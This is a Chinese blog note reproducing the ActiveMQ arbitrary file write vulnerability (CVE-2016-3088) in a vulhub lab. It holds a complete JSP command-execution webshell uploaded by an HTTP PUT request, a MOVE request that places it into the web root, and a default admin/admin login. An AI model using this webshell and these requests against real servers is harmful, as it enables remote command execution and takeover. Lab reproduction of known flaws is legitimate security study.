ActiveMQ任意文件写入漏洞（CVE-2016-3088）

最新推荐文章于 2024-05-02 10:22:48 发布

盖世大宝剑a

最新推荐文章于 2024-05-02 10:22:48 发布

阅读量272

点赞数 1

分类专栏：笔记

本文链接：https://blog.csdn.net/jie_a/article/details/119120193

版权

笔记专栏收录该内容

3 篇文章 0 订阅

订阅专栏

嘻嘻，狗哥下任务了，开始我的漏洞复现之旅

首先环境肯定是用vulhub创建

进入vulhub文件夹，找漏洞目录
运行漏洞环境：docker-compose up -d
访问http://your-ip:8161/看到web页面，说明环境已成功运行。

操作思路

本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持移动文件（MOVE请求）。所以，我们只需要写入一个文件，然后使用MOVE请求将其移动到任意位置，造成任意文件写入漏洞。
三种方法：
1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件

操作

1.写入webshell
首先弱口令登陆 admin admin
查看ActiveMQ的绝对路径:
activemq.home /opt/activemq
上传webshell

PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
---------------------------------------------------------
移动目录
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

然后用蚁剑连接webshell地址：http://121.4.162.152:8161/api/a.jsp
我这里出了点问题，我穿了个phpshell,我说咋连不上呢，有点尴尬
我这个jsp马很方便
在这里插入图片描述